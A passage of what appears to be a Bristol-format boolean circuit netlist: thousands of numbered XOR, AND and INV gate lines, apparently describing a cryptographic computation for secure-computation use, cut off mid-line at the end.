7099 7082 6961 XOR +2 1 35429 6961 35320 XOR +2 1 35320 840 33821 XOR +2 1 33818 33821 13809 XOR +2 1 33821 33816 13808 XOR +2 1 7081 32937 6971 XOR +2 1 6971 6972 35312 XOR +2 1 35312 848 33813 XOR +2 1 33811 33813 16359 XOR +2 1 16359 16454 16439 XOR +2 1 33810 33813 16452 XOR +2 1 33813 33808 16451 XOR +2 1 16454 16439 16430 AND +2 1 6991 6992 35303 XOR +2 1 35303 857 33804 XOR +2 1 33804 19279 19360 XOR +2 1 33802 33804 19280 XOR +2 1 19356 19280 19283 XOR +2 1 19371 19360 19350 AND +2 1 19350 19279 19281 XOR +2 1 19283 19281 19287 XOR +2 1 33805 19287 19292 XOR +1 1 17987 32938 INV +2 1 32963 32938 7122 XOR +2 1 7122 7089 6970 XOR +2 1 32938 6997 35297 XOR +2 1 35297 863 33798 XOR +2 1 33798 19363 19362 XOR +2 1 33798 33804 19284 XOR +2 1 19284 19279 19359 XOR +2 1 7122 7115 6983 XOR +2 1 6983 6984 6982 XOR +1 1 6982 35306 INV +2 1 35306 854 33807 XOR +2 1 33807 33809 16358 XOR +2 1 33808 16358 16360 XOR +2 1 33811 16360 16438 XOR +2 1 16358 16452 16444 XOR +2 1 33806 16444 16443 XOR +2 1 33807 33808 16375 XOR +2 1 16452 16375 16448 XOR +2 1 33813 33807 16453 XOR +2 1 16444 16448 16437 AND +2 1 16453 16438 16434 AND +2 1 16434 16359 16363 XOR +2 1 7122 7081 6960 XOR +2 1 32967 6960 35321 XOR +2 1 35321 839 33822 XOR +2 1 33822 17278 17277 XOR +2 1 33822 33828 17199 XOR +2 1 17199 17194 17274 XOR +2 1 32967 32938 6848 XOR +2 1 6847 6848 7165 XOR +2 1 7165 7121 35314 XOR +2 1 35314 846 33815 XOR +2 1 33815 33817 13714 XOR +2 1 13714 13809 13801 XOR +2 1 33816 13714 13716 XOR +2 1 33815 33816 13732 XOR +2 1 13809 13732 13805 XOR +2 1 13801 13805 13794 AND +2 1 33821 33815 13810 XOR +2 1 32788 6970 35313 XOR +2 1 35313 847 33814 XOR +2 1 33814 13801 13800 XOR +1 1 17984 32944 INV +2 1 32968 32944 7106 XOR +2 1 32944 35415 6994 XOR +2 1 6993 6994 35302 XOR +2 1 7106 32789 6966 XOR +2 1 35302 858 33803 XOR +2 1 33803 19279 19357 XOR +2 1 33803 33805 19278 XOR +2 1 19278 19373 19358 XOR +2 1 7106 7100 6973 XOR +2 1 32965 6973 35311 XOR +2 1 35311 849 33812 XOR +2 1 33812 16360 16441 XOR +2 1 33810 33812 16361 XOR +2 1 16437 16361 16364 XOR +2 1 33806 33812 16365 XOR +2 1 16365 16360 16440 XOR +2 1 16359 16365 16447 XOR +2 1 16375 16447 16445 XOR +2 1 33811 16365 16450 XOR +2 1 33807 16450 16446 XOR +2 1 16361 16359 16321 XOR +2 1 16358 16321 16442 XOR +2 1 16361 33811 16320 XOR +2 1 33806 16320 16449 XOR +2 1 16445 16443 16436 AND +2 1 16430 16436 16382 XOR +2 1 16449 33806 16435 AND +2 1 16450 16446 16433 AND +2 1 16447 16440 16432 AND +2 1 16452 16441 16431 AND +2 1 16431 16360 16362 XOR +2 1 16364 16362 16368 XOR +2 1 33813 16368 16373 XOR +2 1 16382 16373 16428 XOR +2 1 16430 16431 16334 XOR +2 1 16334 16335 16381 XOR +2 1 16381 16363 16380 XOR +2 1 16433 16380 16427 XOR +2 1 16451 16442 16429 AND +2 1 16429 16435 16387 XOR +2 1 16387 16359 16374 XOR +2 1 16382 16374 16425 XOR +2 1 16368 16387 16336 XOR +2 1 33811 16336 16379 XOR +2 1 16429 16432 16383 XOR +2 1 16363 16383 16337 XOR +2 1 16337 16362 16426 XOR +2 1 16430 16383 16377 XOR +2 1 16433 16377 16333 XOR +2 1 33807 16333 16420 XOR +2 1 16428 16427 16424 AND +2 1 16424 16426 16423 XOR +2 1 16424 16379 16419 XOR +2 1 16425 16423 16422 AND +2 1 16422 16379 16421 XOR +2 1 16422 16434 16328 XOR +2 1 16328 16364 16324 XOR +2 1 33813 16324 16327 XOR +2 1 16422 16373 16325 XOR +2 1 33811 16324 16323 XOR +2 1 16419 16420 16418 AND +2 1 16418 16426 16417 XOR +2 1 16418 16377 16332 XOR +2 1 16418 16435 16331 XOR +2 1 16331 16432 16326 XOR +2 1 16326 16327 16409 XOR +2 1 16424 16418 16416 XOR +2 1 16426 16416 16415 AND +2 1 16415 16433 16386 XOR +2 1 33807 16386 16369 XOR +2 1 16415 16423 16413 XOR +2 1 16386 16380 16407 XOR +2 1 16369 16332 16414 XOR +2 1 16421 16413 16412 AND +2 1 16412 16382 16372 XOR +2 1 16412 16436 16330 XOR +2 1 16369 16330 16322 XOR +2 1 16359 16322 16329 XOR +2 1 16326 16329 16410 XOR +2 1 16372 16325 16408 XOR +2 1 16322 16323 16406 XOR +2 1 16372 16374 16411 XOR +2 1 16407 16444 16405 AND +2 1 16414 16443 16404 AND +2 1 16417 33806 16403 AND +2 1 16403 16405 16385 XOR +2 1 16408 16438 16402 AND +2 1 16411 16450 16401 AND +2 1 16421 16440 16400 AND +2 1 16400 16401 16339 XOR +2 1 16409 16441 16399 AND +2 1 16406 16439 16398 AND +2 1 16398 16401 16354 XOR +1 1 16354 16351 INV +2 1 16398 16399 16350 XOR +2 1 16410 16442 16397 AND +2 1 16407 16448 16396 AND +2 1 16414 16445 16395 AND +2 1 16417 16449 16394 AND +2 1 16408 16453 16393 AND +2 1 16393 16397 16370 XOR +2 1 16402 16393 16355 XOR +1 1 16370 16348 INV +2 1 16411 16446 16392 AND +2 1 16400 16392 16357 XOR +2 1 16421 16447 16391 AND +2 1 16348 16391 16347 XOR +2 1 16347 16385 16343 XOR +2 1 16409 16452 16390 AND +2 1 16390 16343 16346 XOR +2 1 16406 16454 16389 AND +2 1 16389 16390 16384 XOR +2 1 16395 16384 16366 XOR +2 1 16396 16366 16367 XOR +2 1 16404 16367 16371 XOR +2 1 16403 16371 16340 XOR +2 1 16339 16340 35656 XOR +2 1 16405 16371 16376 XOR +2 1 16376 16350 16456 XOR +2 1 16357 16384 16353 XOR +2 1 16385 16353 16356 XOR +2 1 16355 16356 16458 XOR +2 1 16348 16353 16352 XOR +2 1 16351 16352 16457 XOR +2 1 16366 16343 16342 XOR +2 1 16410 16451 16388 AND +2 1 16399 16388 16349 XOR +1 1 16349 16345 INV +2 1 16345 16346 16455 XOR +2 1 19278 19284 19366 XOR +2 1 19294 19366 19364 XOR +2 1 33803 19284 19369 XOR +2 1 33799 19369 19365 XOR +2 1 19280 19278 19240 XOR +2 1 19277 19240 19361 XOR +2 1 19280 33803 19239 XOR +2 1 33798 19239 19368 XOR +2 1 19364 19362 19355 AND +2 1 19368 33798 19354 AND +2 1 19372 19357 19353 AND +2 1 19353 19278 19282 XOR +2 1 19369 19365 19352 AND +2 1 19366 19359 19351 AND +2 1 19373 19358 19349 AND +2 1 19349 19355 19301 XOR +2 1 19301 19292 19347 XOR +2 1 19349 19350 19253 XOR +2 1 19253 19254 19300 XOR +2 1 19300 19282 19299 XOR +2 1 19352 19299 19346 XOR +2 1 19370 19361 19348 AND +2 1 19348 19351 19302 XOR +2 1 19348 19354 19306 XOR +2 1 19306 19278 19293 XOR +2 1 19301 19293 19344 XOR +2 1 19349 19302 19296 XOR +2 1 19282 19302 19256 XOR +2 1 19256 19281 19345 XOR +2 1 19287 19306 19255 XOR +2 1 33803 19255 19298 XOR +2 1 19352 19296 19252 XOR +2 1 33799 19252 19339 XOR +2 1 19347 19346 19343 AND +2 1 19343 19298 19338 XOR +2 1 19343 19345 19342 XOR +2 1 19344 19342 19341 AND +2 1 19341 19298 19340 XOR +2 1 19341 19353 19247 XOR +2 1 19247 19283 19243 XOR +2 1 33805 19243 19246 XOR +2 1 19341 19292 19244 XOR +2 1 33803 19243 19242 XOR +2 1 19338 19339 19337 AND +2 1 19337 19345 19336 XOR +2 1 19343 19337 19335 XOR +2 1 19337 19296 19251 XOR +2 1 19337 19354 19250 XOR +2 1 19250 19351 19245 XOR +2 1 19245 19246 19328 XOR +2 1 19345 19335 19334 AND +2 1 19334 19342 19332 XOR +2 1 19334 19352 19305 XOR +2 1 19305 19299 19326 XOR +2 1 33799 19305 19288 XOR +2 1 19288 19251 19333 XOR +2 1 19340 19332 19331 AND +2 1 19331 19301 19291 XOR +2 1 19291 19293 19330 XOR +2 1 19331 19355 19249 XOR +2 1 19288 19249 19241 XOR +2 1 19278 19241 19248 XOR +2 1 19245 19248 19329 XOR +2 1 19291 19244 19327 XOR +2 1 19241 19242 19325 XOR +2 1 19326 19363 19324 AND +2 1 19333 19362 19323 AND +2 1 19336 33798 19322 AND +2 1 19322 19324 19304 XOR +2 1 19327 19357 19321 AND +2 1 19330 19369 19320 AND +2 1 19340 19359 19319 AND +2 1 19319 19320 19258 XOR +2 1 19328 19360 19318 AND +2 1 19325 19358 19317 AND +2 1 19317 19320 19273 XOR +1 1 19273 19270 INV +2 1 19317 19318 19269 XOR +2 1 19329 19361 19316 AND +2 1 19326 19367 19315 AND +2 1 19333 19364 19314 AND +2 1 19336 19368 19313 AND +2 1 19327 19372 19312 AND +2 1 19312 19316 19289 XOR +2 1 19321 19312 19274 XOR +1 1 19289 19267 INV +2 1 19330 19365 19311 AND +2 1 19319 19311 19276 XOR +2 1 19340 19366 19310 AND +2 1 19267 19310 19266 XOR +2 1 19266 19304 19262 XOR +2 1 19328 19371 19309 AND +2 1 19309 19262 19265 XOR +2 1 19325 19373 19308 AND +2 1 19308 19309 19303 XOR +2 1 19314 19303 19285 XOR +2 1 19315 19285 19286 XOR +2 1 19323 19286 19290 XOR +2 1 19324 19290 19295 XOR +2 1 19276 19303 19272 XOR +2 1 19304 19272 19275 XOR +2 1 19274 19275 19377 XOR +2 1 19267 19272 19271 XOR +2 1 19270 19271 19376 XOR +2 1 19295 19269 19375 XOR +2 1 19285 19262 19261 XOR +2 1 19322 19290 19259 XOR +2 1 19258 19259 35595 XOR +2 1 19329 19370 19307 AND +2 1 19318 19307 19268 XOR +1 1 19268 19264 INV +2 1 19264 19265 19374 XOR +2 1 32937 32944 6963 XOR +2 1 6962 6963 35319 XOR +1 1 6966 6964 INV +2 1 6964 6965 35318 XOR +2 1 35319 841 33820 XOR +2 1 33814 33820 13721 XOR +2 1 33820 13716 13798 XOR +2 1 13809 13798 13788 AND +2 1 13788 13716 13718 XOR +2 1 13721 13716 13797 XOR +2 1 33818 33820 13717 XOR +2 1 13794 13717 13720 XOR +2 1 13720 13718 13724 XOR +2 1 33821 13724 13730 XOR +2 1 35318 842 33819 XOR +2 1 33819 33821 13715 XOR +2 1 13715 13721 13804 XOR +2 1 13715 13811 13796 XOR +2 1 13811 13796 13787 AND +2 1 33819 13716 13795 XOR +2 1 13810 13795 13791 AND +2 1 13791 13715 13719 XOR +2 1 13732 13804 13802 XOR +2 1 13804 13797 13789 AND +2 1 13717 13715 13677 XOR +2 1 13714 13677 13799 XOR +2 1 13808 13799 13786 AND +2 1 13786 13789 13740 XOR +2 1 13719 13740 13693 XOR +2 1 13787 13740 13734 XOR +2 1 13693 13718 13783 XOR +2 1 13787 13788 13690 XOR +2 1 13690 13691 13738 XOR +2 1 13738 13719 13737 XOR +2 1 13802 13800 13793 AND +2 1 13787 13793 13739 XOR +2 1 13739 13730 13785 XOR +2 1 7106 7102 6947 XOR +2 1 32972 6947 35326 XOR +2 1 35326 834 33827 XOR +2 1 33827 17194 17272 XOR +2 1 33827 33829 17193 XOR +2 1 17193 17288 17273 XOR +2 1 17193 17199 17281 XOR +2 1 17209 17281 17279 XOR +2 1 33827 17199 17284 XOR +2 1 33823 17284 17280 XOR +2 1 17195 17193 17155 XOR +2 1 17192 17155 17276 XOR +2 1 17195 33827 17154 XOR +2 1 33822 17154 17283 XOR +2 1 17279 17277 17270 AND +2 1 17283 33822 17269 AND +2 1 17287 17272 17268 AND +2 1 17268 17193 17197 XOR +2 1 17284 17280 17267 AND +2 1 17281 17274 17266 AND +2 1 17288 17273 17264 AND +2 1 17264 17270 17216 XOR +2 1 17216 17207 17262 XOR +2 1 17264 17265 17168 XOR +2 1 17168 17169 17215 XOR +2 1 17215 17197 17214 XOR +2 1 17267 17214 17261 XOR +2 1 17285 17276 17263 AND +2 1 17263 17266 17217 XOR +2 1 17263 17269 17221 XOR +2 1 17221 17193 17208 XOR +2 1 17216 17208 17259 XOR +2 1 17264 17217 17211 XOR +2 1 17197 17217 17171 XOR +2 1 17171 17196 17260 XOR +2 1 17202 17221 17170 XOR +2 1 33827 17170 17213 XOR +2 1 17267 17211 17167 XOR +2 1 33823 17167 17254 XOR +2 1 17262 17261 17258 AND +2 1 17258 17213 17253 XOR +2 1 17258 17260 17257 XOR +2 1 17259 17257 17256 AND +2 1 17256 17213 17255 XOR +2 1 17256 17268 17162 XOR +2 1 17162 17198 17158 XOR +2 1 33829 17158 17161 XOR +2 1 17256 17207 17159 XOR +2 1 33827 17158 17157 XOR +2 1 17253 17254 17252 AND +2 1 17252 17260 17251 XOR +2 1 17258 17252 17250 XOR +2 1 17252 17211 17166 XOR +2 1 17252 17269 17165 XOR +2 1 17165 17266 17160 XOR +2 1 17160 17161 17243 XOR +2 1 17260 17250 17249 AND +2 1 17249 17257 17247 XOR +2 1 17249 17267 17220 XOR +2 1 17220 17214 17241 XOR +2 1 33823 17220 17203 XOR +2 1 17203 17166 17248 XOR +2 1 17255 17247 17246 AND +2 1 17246 17216 17206 XOR +2 1 17206 17208 17245 XOR +2 1 17246 17270 17164 XOR +2 1 17203 17164 17156 XOR +2 1 17193 17156 17163 XOR +2 1 17160 17163 17244 XOR +2 1 17206 17159 17242 XOR +2 1 17156 17157 17240 XOR +2 1 17241 17278 17239 AND +2 1 17248 17277 17238 AND +2 1 17251 33822 17237 AND +2 1 17237 17239 17219 XOR +2 1 17242 17272 17236 AND +2 1 17245 17284 17235 AND +2 1 17255 17274 17234 AND +2 1 17234 17235 17173 XOR +2 1 17243 17275 17233 AND +2 1 17240 17273 17232 AND +2 1 17232 17235 17188 XOR +1 1 17188 17185 INV +2 1 17232 17233 17184 XOR +2 1 17244 17276 17231 AND +2 1 17241 17282 17230 AND +2 1 17248 17279 17229 AND +2 1 17251 17283 17228 AND +2 1 17242 17287 17227 AND +2 1 17227 17231 17204 XOR +2 1 17236 17227 17189 XOR +1 1 17204 17182 INV +2 1 17245 17280 17226 AND +2 1 17234 17226 17191 XOR +2 1 17255 17281 17225 AND +2 1 17182 17225 17181 XOR +2 1 17181 17219 17177 XOR +2 1 17243 17286 17224 AND +2 1 17224 17177 17180 XOR +2 1 17240 17288 17223 AND +2 1 17223 17224 17218 XOR +2 1 17229 17218 17200 XOR +2 1 17230 17200 17201 XOR +2 1 17238 17201 17205 XOR +2 1 17239 17205 17210 XOR +2 1 17191 17218 17187 XOR +2 1 17219 17187 17190 XOR +2 1 17189 17190 17292 XOR +2 1 17182 17187 17186 XOR +2 1 17185 17186 17291 XOR +2 1 17210 17184 17290 XOR +2 1 17200 17177 17176 XOR +2 1 17237 17205 17174 XOR +2 1 17173 17174 35628 XOR +2 1 17244 17285 17222 AND +2 1 17233 17222 17183 XOR +1 1 17183 17179 INV +2 1 17179 17180 17289 XOR +2 1 16401 16402 32671 XOR +2 1 16398 32671 16378 XOR +2 1 16399 16378 16338 XOR +2 1 16367 16338 35658 XOR +2 1 16394 16378 16344 XOR +1 1 16344 16341 INV +2 1 16341 16342 35655 XOR +2 1 35656 35655 7879 XOR +2 1 32671 16376 35657 XOR +2 1 33819 13721 13807 XOR +2 1 33815 13807 13803 XOR +2 1 13807 13803 13790 AND +2 1 13790 13737 13784 XOR +2 1 13790 13734 13689 XOR +2 1 33815 13689 13777 XOR +2 1 13785 13784 13781 AND +2 1 13781 13783 13780 XOR +2 1 17235 17236 32677 XOR +2 1 17232 32677 17212 XOR +2 1 17228 17212 17178 XOR +1 1 17178 17175 INV +2 1 17175 17176 35627 XOR +2 1 17233 17212 17172 XOR +2 1 17201 17172 35630 XOR +2 1 32677 17210 35629 XOR +2 1 19320 19321 32692 XOR +2 1 19317 32692 19297 XOR +2 1 19313 19297 19263 XOR +1 1 19263 19260 INV +2 1 19260 19261 35594 XOR +2 1 19318 19297 19257 XOR +2 1 19286 19257 35597 XOR +2 1 32692 19295 35596 XOR +2 1 13717 33819 13676 XOR +2 1 33814 13676 13806 XOR +2 1 13806 33814 13792 AND +2 1 13786 13792 13744 XOR +2 1 13724 13744 13692 XOR +2 1 33819 13692 13736 XOR +2 1 13781 13736 13776 XOR +2 1 13776 13777 13775 AND +2 1 13775 13734 13688 XOR +2 1 13781 13775 13773 XOR +2 1 13783 13773 13772 AND +2 1 13772 13780 13770 XOR +2 1 13772 13790 13743 XOR +2 1 13775 13783 13774 XOR +2 1 13743 13737 13764 XOR +2 1 33815 13743 13725 XOR +2 1 13725 13688 13771 XOR +2 1 13775 13792 13687 XOR +2 1 13687 13789 13682 XOR +2 1 13774 13806 13751 AND +2 1 13764 13805 13753 AND +2 1 13764 13801 13762 AND +2 1 13771 13800 13761 AND +2 1 13774 33814 13760 AND +2 1 13760 13762 13742 XOR +2 1 13744 13715 13731 XOR +2 1 13739 13731 13782 XOR +2 1 13782 13780 13779 AND +2 1 13779 13730 13681 XOR +2 1 13779 13736 13778 XOR +2 1 13778 13804 13748 AND +2 1 13778 13797 13757 AND +2 1 13779 13791 13684 XOR +2 1 13778 13770 13769 AND +2 1 13684 13720 13680 XOR +2 1 13769 13793 13686 XOR +2 1 13725 13686 13678 XOR +2 1 13715 13678 13685 XOR +2 1 13682 13685 13767 XOR +2 1 13767 13799 13754 AND +2 1 13767 13808 13745 AND +2 1 13769 13739 13729 XOR +2 1 13729 13731 13768 XOR +2 1 13768 13807 13758 AND +2 1 13768 13803 13749 AND +2 1 13757 13749 13713 XOR +2 1 13757 13758 13695 XOR +2 1 13729 13681 13765 XOR +2 1 13765 13795 13759 AND +2 1 13758 13759 13727 XOR +2 1 13765 13810 13750 AND +2 1 13750 13754 13726 XOR +2 1 13759 13750 13711 XOR +2 1 33821 13680 13683 XOR +2 1 13682 13683 13766 XOR +2 1 13766 13809 13747 AND +2 1 13766 13798 13756 AND +2 1 33819 13680 13679 XOR +2 1 13678 13679 13763 XOR +2 1 13763 13811 13746 AND +2 1 13746 13747 13741 XOR +2 1 13713 13741 13709 XOR +2 1 13763 13796 13755 AND +2 1 13755 13727 13735 XOR +2 1 13756 13735 13694 XOR +2 1 13751 13735 13700 XOR +1 1 13700 13697 INV +2 1 13742 13709 13712 XOR +2 1 13711 13712 13815 XOR +2 1 13771 13802 13752 AND +2 1 13752 13741 13722 XOR +2 1 13753 13722 13723 XOR +2 1 13761 13723 13728 XOR +2 1 13760 13728 13696 XOR +2 1 13695 13696 35643 XOR +2 1 13762 13728 13733 XOR +2 1 13727 13733 35644 XOR +1 1 13815 32866 INV +2 1 13755 13758 13710 XOR +1 1 13710 13707 INV +1 1 13726 13704 INV +2 1 13704 13748 13703 XOR +2 1 13703 13742 13699 XOR +2 1 13747 13699 13702 XOR +2 1 13722 13699 13698 XOR +2 1 13697 13698 35642 XOR +2 1 13704 13709 13708 XOR +2 1 13707 13708 13814 XOR +1 1 13814 32865 INV +2 1 13756 13745 13705 XOR +1 1 13705 13701 INV +2 1 13701 13702 13812 XOR +1 1 13812 32871 INV +2 1 13755 13756 13706 XOR +2 1 13733 13706 13813 XOR +1 1 13813 32872 INV +2 1 13723 13694 35645 XOR +1 1 16458 32917 INV +1 1 16455 32922 INV +2 1 32922 35657 8096 XOR +1 1 16456 32923 INV +1 1 16457 32924 INV +1 1 17292 32925 INV +1 1 17289 32930 INV +1 1 17290 32931 INV +1 1 17291 32932 INV +1 1 19376 32953 INV +1 1 19377 32954 INV +1 1 19514 32957 INV +2 1 32957 35411 7129 XOR +2 1 7129 32892 6935 XOR +2 1 32957 16595 7010 XOR +2 1 7129 7085 6998 XOR +2 1 35407 6998 35296 XOR +2 1 35296 864 33797 XOR +2 1 7137 7129 7027 XOR +2 1 32885 7027 35279 XOR +2 1 35279 881 33780 XOR +1 1 19516 32958 INV +2 1 32921 32958 7125 XOR +2 1 7125 7092 7077 XOR +2 1 32886 32958 6877 XOR +2 1 7125 7084 7008 XOR +2 1 32887 7008 35289 XOR +2 1 35289 871 33790 XOR +1 1 19374 32959 INV +1 1 19375 32960 INV +1 1 19513 32964 INV +2 1 32964 7001 35294 XOR +2 1 35294 866 33795 XOR +2 1 33795 33797 7215 XOR +2 1 32964 16594 7012 XOR +2 1 7011 7012 35287 XOR +2 1 35287 873 33788 XOR +2 1 33786 33788 13857 XOR +2 1 35349 811 33850 XOR +2 1 33848 33850 7591 XOR +1 1 20764 32989 INV +2 1 32889 32989 7113 XOR +2 1 7113 35460 7047 XOR +1 1 20765 32990 INV +2 1 7175 32990 7069 XOR +2 1 32877 32990 7101 XOR +2 1 7113 7101 7071 XOR +1 1 20766 32991 INV +2 1 32878 32991 7108 XOR +1 1 20767 32992 INV +2 1 32879 32992 7128 XOR +2 1 7128 7090 6888 XOR +1 1 21879 33001 INV +2 1 33001 32927 7146 XOR +2 1 7146 7087 6914 XOR +2 1 32860 6914 35345 XOR +2 1 7146 7080 6903 XOR +2 1 16735 33001 6855 XOR +2 1 32883 6903 35353 XOR +2 1 35353 807 33854 XOR +2 1 6854 6855 7162 XOR +2 1 7162 7134 35330 XOR +2 1 35330 830 33831 XOR +2 1 33831 33833 13574 XOR +2 1 35345 815 33846 XOR +2 1 33001 6928 35337 XOR +2 1 35337 823 33838 XOR +2 1 7146 7134 6926 XOR +1 1 21876 33006 INV +2 1 33006 35438 7116 XOR +2 1 16734 33006 6933 XOR +2 1 6932 6933 6931 XOR +2 1 7116 32863 6909 XOR +1 1 6931 35335 INV +2 1 6909 6910 35350 XOR +2 1 35350 810 33851 XOR +2 1 35335 825 33836 XOR +2 1 33830 33836 13581 XOR +2 1 33834 33836 13577 XOR +2 1 13577 33835 13536 XOR +2 1 33830 13536 13666 XOR +2 1 13666 33830 13652 AND +2 1 33835 13581 13667 XOR +2 1 33831 13667 13663 XOR +2 1 13667 13663 13650 AND +2 1 7116 7111 6891 XOR +2 1 32888 6891 35358 XOR +2 1 35358 802 33859 XOR +2 1 7116 7094 6918 XOR +2 1 33006 6919 35342 XOR +2 1 35342 818 33843 XOR +2 1 33859 33861 27224 XOR +1 1 21877 33007 INV +2 1 33007 35439 7109 XOR +2 1 7109 32864 6908 XOR +1 1 6908 6906 INV +2 1 6906 6907 35351 XOR +2 1 7109 7105 6890 XOR +2 1 32881 6890 35359 XOR +2 1 35359 801 33860 XOR +2 1 35351 809 33852 XOR +2 1 33846 33852 7501 XOR +2 1 33851 7501 7587 XOR +2 1 33850 33852 7497 XOR +2 1 7497 33851 7456 XOR +2 1 35440 33007 6930 XOR +2 1 6929 6930 35336 XOR +2 1 35336 824 33837 XOR +2 1 33834 33837 13669 XOR +2 1 33835 33837 13575 XOR +2 1 33837 33831 13670 XOR +2 1 13577 13575 13537 XOR +2 1 13574 13537 13659 XOR +2 1 13574 13669 13661 XOR +2 1 33830 13661 13660 XOR +2 1 13575 13581 13664 XOR +2 1 7109 7080 6917 XOR +2 1 33007 6918 35343 XOR +2 1 35343 817 33844 XOR +2 1 33838 33844 7361 XOR +2 1 33843 7361 7447 XOR +2 1 33854 33860 27230 XOR +2 1 27224 27230 27313 XOR +2 1 33859 27230 27316 XOR +2 1 35433 6917 35344 XOR +2 1 35344 816 33845 XOR +2 1 33843 33845 7355 XOR +2 1 7355 7361 7444 XOR +2 1 33846 7456 7586 XOR +2 1 7586 33846 7572 AND +1 1 21878 33008 INV +2 1 33008 35434 7145 XOR +2 1 7159 7145 35346 XOR +2 1 35346 814 33847 XOR +2 1 33847 7587 7583 XOR +2 1 6866 33008 6941 XOR +2 1 33847 33848 7511 XOR +2 1 33847 33849 7494 XOR +2 1 33848 7494 7496 XOR +2 1 33851 7496 7575 XOR +2 1 7501 7496 7577 XOR +2 1 33852 7496 7578 XOR +2 1 7587 7583 7570 AND +2 1 7145 7142 6902 XOR +1 1 6902 6900 INV +2 1 6940 6941 35331 XOR +2 1 35331 829 33832 XOR +2 1 33831 33832 13592 XOR +2 1 13669 13592 13665 XOR +2 1 13592 13664 13662 XOR +2 1 33832 13574 13576 XOR +2 1 33836 13576 13658 XOR +2 1 13581 13576 13657 XOR +2 1 33835 13576 13655 XOR +2 1 13670 13655 13651 AND +2 1 33833 33832 13551 XOR +2 1 13664 13657 13649 AND +2 1 13669 13658 13648 AND +2 1 33837 33832 13668 XOR +2 1 13661 13665 13654 AND +2 1 13648 13576 13578 XOR +2 1 13662 13660 13653 AND +2 1 13668 13659 13646 AND +2 1 13646 13652 13604 XOR +2 1 13646 13649 13600 XOR +2 1 13651 13575 13579 XOR +2 1 13579 13600 13553 XOR +2 1 13553 13578 13643 XOR +2 1 13604 13575 13591 XOR +2 1 33832 33834 13671 XOR +2 1 13575 13671 13656 XOR +2 1 13671 13656 13647 AND +2 1 13647 13648 13550 XOR +2 1 13550 13551 13598 XOR +2 1 13647 13600 13594 XOR +2 1 13650 13594 13549 XOR +2 1 33831 13549 13637 XOR +2 1 13598 13579 13597 XOR +2 1 13647 13653 13599 XOR +2 1 13599 13591 13642 XOR +2 1 13650 13597 13644 XOR +2 1 13654 13577 13580 XOR +2 1 13580 13578 13584 XOR +2 1 13584 13604 13552 XOR +2 1 33835 13552 13596 XOR +2 1 33837 13584 13590 XOR +2 1 13599 13590 13645 XOR +2 1 13645 13644 13641 AND +2 1 13641 13596 13636 XOR +2 1 13636 13637 13635 AND +2 1 13641 13635 13633 XOR +2 1 13635 13594 13548 XOR +2 1 13635 13652 13547 XOR +2 1 13547 13649 13542 XOR +2 1 13643 13633 13632 AND +2 1 13632 13650 13603 XOR +2 1 13603 13597 13624 XOR +2 1 13624 13661 13622 AND +2 1 13624 13665 13613 AND +2 1 33831 13603 13585 XOR +2 1 13585 13548 13631 XOR +2 1 13631 13660 13621 AND +2 1 13631 13662 13612 AND +2 1 13635 13643 13634 XOR +2 1 13634 33830 13620 AND +2 1 13620 13622 13602 XOR +2 1 13634 13666 13611 AND +2 1 13641 13643 13640 XOR +2 1 13632 13640 13630 XOR +2 1 13642 13640 13639 AND +2 1 13639 13596 13638 XOR +2 1 13638 13664 13608 AND +2 1 13638 13630 13629 AND +2 1 13629 13599 13589 XOR +2 1 13629 13653 13546 XOR +2 1 13585 13546 13538 XOR +2 1 13575 13538 13545 XOR +2 1 13542 13545 13627 XOR +2 1 13627 13668 13605 AND +2 1 13639 13651 13544 XOR +2 1 13544 13580 13540 XOR +2 1 33835 13540 13539 XOR +2 1 13538 13539 13623 XOR +2 1 33837 13540 13543 XOR +2 1 13542 13543 13626 XOR +2 1 13639 13590 13541 XOR +2 1 13638 13657 13617 AND +2 1 13626 13658 13616 AND +2 1 13616 13605 13565 XOR +1 1 13565 13561 INV +2 1 13623 13656 13615 AND +2 1 13615 13616 13566 XOR +2 1 13627 13659 13614 AND +2 1 13589 13541 13625 XOR +2 1 13625 13655 13619 AND +2 1 13625 13670 13610 AND +2 1 13610 13614 13586 XOR +1 1 13586 13564 INV +2 1 13564 13608 13563 XOR +2 1 13563 13602 13559 XOR +2 1 13626 13669 13607 AND +2 1 13607 13559 13562 XOR +2 1 13561 13562 13672 XOR +2 1 13623 13671 13606 AND +2 1 13589 13591 13628 XOR +2 1 13628 13663 13609 AND +2 1 13628 13667 13618 AND +2 1 13618 13619 13587 XOR +2 1 13615 13587 13595 XOR +2 1 13615 13618 13570 XOR +1 1 13570 13567 INV +2 1 13611 13595 13560 XOR +1 1 13560 13557 INV +2 1 13617 13618 13555 XOR +2 1 13616 13595 13554 XOR +2 1 13606 13607 13601 XOR +2 1 13612 13601 13582 XOR +2 1 13582 13559 13558 XOR +2 1 13557 13558 35614 XOR +2 1 13613 13582 13583 XOR +2 1 13583 13554 35617 XOR +2 1 13621 13583 13588 XOR +2 1 13620 13588 13556 XOR +2 1 13555 13556 35615 XOR +2 1 13622 13588 13593 XOR +2 1 13587 13593 35616 XOR +2 1 13593 13566 13673 XOR +2 1 13619 13610 13571 XOR +2 1 35617 35630 8139 XOR +2 1 13617 13609 13573 XOR +2 1 13573 13601 13569 XOR +2 1 13602 13569 13572 XOR +2 1 13571 13572 13675 XOR +2 1 13564 13569 13568 XOR +2 1 13567 13568 13674 XOR +1 1 8139 7884 INV +2 1 7884 32925 7882 XOR +2 1 7884 35627 7885 XOR +2 1 8139 35628 7888 XOR +2 1 7145 7130 6924 XOR +2 1 35430 6924 35339 XOR +2 1 35339 821 33840 XOR +2 1 33845 33840 7448 XOR +1 1 13674 32861 INV +1 1 13675 32862 INV +1 1 13672 32867 INV +2 1 32930 32867 8039 XOR +1 1 13673 32868 INV +2 1 35617 32868 8020 XOR +2 1 32868 32931 8148 XOR +1 1 23269 33021 INV +2 1 32887 33021 7148 XOR +2 1 7148 7126 7016 XOR +2 1 33021 7077 35265 XOR +2 1 7148 7086 7025 XOR +2 1 35265 895 33766 XOR +2 1 7148 7085 6899 XOR +2 1 7084 33021 6876 XOR +2 1 32958 6899 35273 XOR +2 1 35273 887 33774 XOR +2 1 6876 6877 7153 XOR +2 1 7153 7126 35290 XOR +2 1 35290 870 33791 XOR +2 1 33797 33791 7310 XOR +2 1 33774 33780 22898 XOR +2 1 32921 7025 35281 XOR +2 1 35281 879 33782 XOR +2 1 33782 33788 13861 XOR +1 1 23266 33027 INV +2 1 7137 33027 7013 XOR +2 1 7013 7014 35286 XOR +2 1 33027 16595 6936 XOR +2 1 35286 874 33787 XOR +2 1 6935 6936 6934 XOR +2 1 13857 33787 13816 XOR +2 1 33787 13861 13947 XOR +2 1 33782 13816 